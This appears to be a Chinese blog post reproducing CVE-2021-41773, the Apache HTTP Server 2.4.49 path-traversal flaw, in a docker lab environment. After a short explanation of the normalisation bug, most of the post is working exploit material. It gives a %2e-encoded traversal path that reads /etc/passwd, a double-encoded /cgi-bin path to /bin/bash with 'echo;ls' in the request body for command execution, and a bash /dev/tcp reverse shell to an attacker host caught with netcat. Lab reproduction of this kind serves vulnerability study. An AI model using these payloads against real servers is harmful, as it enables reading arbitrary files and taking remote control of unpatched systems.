CVE-2021-41773 漏洞复现

漏洞原理

 Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在../的路径穿越符


当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在../。如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测实现目录遍历

漏洞复现

[root@localhost CVE-2021-41773]# docker-compose up -d     # 进入相应靶场目录,启动容器
[root@localhost CVE-2021-41773]# docker ps -a             #  查看所有容器

 浏览器中查看环境是否搭建成功

构造文件读取payload

需要配合穿越的目录配置 Require all  granted,攻击者可利用该漏洞实现路径穿越从而读取任意文件
/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

构造命令执行payload

#在配置了CGI的httpd程序中执行bash指令,从而有机会控制服务器。
抓取get请求包;之后通过右键将get请求改为Post方法;之后发送到repeater模块

将下列构造的payload粘贴到请求行中

/cgi-bin/%2%65%2%65/%2%65%2%65/%2%65%2%65/%2%65%2%65/bin/bash          
 # 使其进入到可以执行命令的shell环境中
之后在请求体中写入内容
echo;ls           #  echo是为了让其打印出来,后面的是分号紧跟就是系统命令

反弹Shell

# /dev/tcp是bash特有的虚拟目录,有时需要通过 bash -C指定bash环境因为Ubuntu和其他Linux发行版的shell环境不同
# payload靶机中的标准输出重定向到10.10.10.128的9999端口并且将错误输出重定向到标准输出;bash -i 表示启动交互式shell
bash -c 'bash -i >& /dev/tcp/监听机ip(攻击机)/9999 0>&1'

# 监听机我以kali(10.10.10.128)为例
┌──(root㉿kali)-[~]
└─# nc -lvp 9999 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值